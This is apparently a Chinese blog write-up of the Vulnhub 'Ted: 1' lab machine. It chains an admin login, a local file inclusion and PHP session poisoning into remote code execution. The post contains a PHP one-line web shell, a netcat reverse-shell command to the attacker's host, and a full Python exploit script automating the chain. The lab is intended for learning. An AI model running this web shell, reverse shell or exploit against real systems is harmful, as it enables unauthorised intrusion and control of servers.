代码审计学习----Vulnhub系列之Ted: 1

代码审计学习----Vulnhub系列之Ted: 1

难度:易(适合代码审计初学者,比如我)

靶机下载地址:

https://www.vulnhub.com/entry/ted-1%2C327/

本次审计主要涉及到三个文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传请添加图片描述

我从正常的业务入口开始,先来查看index.php 文件的内容:

请添加图片描述

可以看到 index.php 文件的内容较少,核心功能就是使用form表单,将填入的账号和密码发给 authenticate.php文件。

那么我们再来查看下 authenticate.php文件的内容:

在这里插入图片描述

在这里插入图片描述

然后再查看home.php:

在这里插入图片描述

那么此时我们的逻辑就比较清楚了:
在这里插入图片描述

攻击流程

主机发现:
sudo netdiscover -i eth0 -r 192.168.248.130/24

在这里插入图片描述

主机信息收集:
nmap -p- -T4 192.168.248.153

在这里插入图片描述

目标只开启80端口,访问80端口:

在这里插入图片描述

按照代码逻辑,尝试利用:

账号:admin

密码经过尝试后发现加密方式为sha256,使用下面网站进行在线转化

https://www.strerr.com/cn/sha256.html 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传在这里插入图片描述

密码:

8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

成功登录系统:

在这里插入图片描述

我们知道这里的search,存在文件包含。我们使用 /etc/passwd进行测试。
在这里插入图片描述

接下来我们尝试利用,利用思路有两个:①包含web的日志文件,这种方式其他文章都有这里我就不再赘述了②包含用来存储用户session的文件,从而获取shell

在这里我演示第二种方法:

在Linux下 PHP语言的session的存储路径如下示例所示:

/tmp 或 /var/lib/php/sess_[PHPSESSID]
/var/lib/php5/sess_[PHPSESSID]
/var/lib/php/sessions/sess_[PHPSESSID]

我们来查看session存在的格式是什么样子的:

首先获取PHPSESSID,抓取登陆过程中的数据包:

在这里插入图片描述

拼接得到session路径:

/var/lib/php/sessions/sess_dhk0iuhmo7od0gcllgihvua0k6

访问该路径,得到信息如图所示:

在这里插入图片描述

那么如果想要得到shell,那么我们必须找到用户可以控制的地方。

我们将此数据包发送到重放模块来进行更好的测试:

可以看到,用户可以修改user_pref变量的值,从而可写入到session文件中,再结合文件包含漏洞,从而达成RCE的效果

在这里插入图片描述

向user_pref的值处写入 一句话(注意此时需要进行url编码):

<?php system($_POST["cmd"]); ?>

在这里插入图片描述

发送攻击代码:

在这里插入图片描述

那么我们来验证一下,看能不能执行命令:

在这里插入图片描述

注:在测试的过程中,由于该系统有还原机制,所以我们的sess文件会被修改回去,在测试时需要多次执行。

使用NC来获取shell:

nc+192.168.248.130+6789+-e+/bin/bash

在这里插入图片描述

那么此时我们就得到了webshell,那么接下来是本次的重头戏,使用python 进行EXP代码的编写

具体代码如下所示:

注: exp的代码,推荐还是自己先写一下,遇到不会的再参考。

#!/bin/python3
import requests
import time

url="http://192.168.248.153"
mima={'username':'admin','password':'8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918'}

httptarget="http://127.0.0.1:8080"
httpstarget="https://127.0.0.1:8080"
proxy={
    'http':httptarget,
    "https":httpstarget
}

s=requests.Session()
r=s.post(url+'/authenticate.php',data=mima)

session_id=s.cookies.get_dict()['PHPSESSID']

print ("session_id="+session_id+"\n")


cookie=dict(PHPSESSID=session_id,user_pref="<?php %73%79%73%74%65%6d%28%24%5f%50%4f%53%54%5b%22%63%6d%64%22%5d%29%3b ?>")

lfi="/var/lib/php/sessions/sess_"+session_id
command='nc 192.168.248.130 6789 -e /bin/bash'

i=1

while(i):
    print (f"Try exp number {i}")
    payload={"search":lfi,'cmd':command}
    r=requests.post(url+"/home.php",data=payload,cookies=cookie,proxies=proxy)
    time.sleep(3)
    i=i+1

执行结果如下所示:

在这里插入图片描述

本次exp编写部分还需着重练习,使用的还是不熟练期间有很多次疑惑的部分,还需多多练习。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值